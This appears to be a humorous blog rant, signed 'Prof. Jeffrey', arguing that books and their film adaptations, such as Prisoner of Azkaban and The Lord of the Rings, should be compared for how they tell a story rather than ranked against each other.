You, as a human being with rights to your feelings, can most certainly enjoy the book more than the movie, and vice versa.  Feelings are much more permitted in society today than they were hundreds of years ago, you’ll be surprised to know.  But when you start shouting about the book being better than the movie, you better know that I FEEL enraged at your unceremoniously preposterous ranking system.  There’s no need for that kind of hierarchy.

So when I read a book and watch its movie version, I know (and, now, you know as well) that it is eye-opening to compare the two and senseless to rank the two.  The book, being the countless hours of work by both a hungering author and those responsible for editing and publishing a collection scattered thoughts into a cohesive story, cannot be better or worse than the movie, being the large-scale production of one or more directors that carefully guide actors, script writers, set designers, composers, special effects producers, and numerous other artists through a narrative set to film; it is impossible in the universe we live in.  Update your book reports and movie reviews accordingly.

Instead of ranking books vs. movies, it might be a better use of your time to analyze and discuss the ways a book and a movie tell the same story, or how one might fail to tell such a story in comparison with the other.  For instance, instead of saying “Prisoner of Azkaban was much better as a book than as a movie” or, even worse, “the movie version was STUPID,” you could say “The third movie did a good job of capturing the mood of the book and it was a good change from the first two, but it was much harder to follow the story for viewers who hadn’t read the books; I prefer the book because it tells a better story.”  See what I did there?

On a lighter note, I am enjoying reading The Lord of the Rings and I like comparing it to the movie versions.  I grew up watching the movies, so reading the original story now is akin to watching the extended editions of the movies, years after the original release.  I’m learning more about characters and more about Middle-Earth, which is going to give me a deeper understanding of the movies and of the source material.  I’ll get into all of this next week, though.

Thanks for listening to my rant.  I hope you learned something.

Prof. Jeffrey

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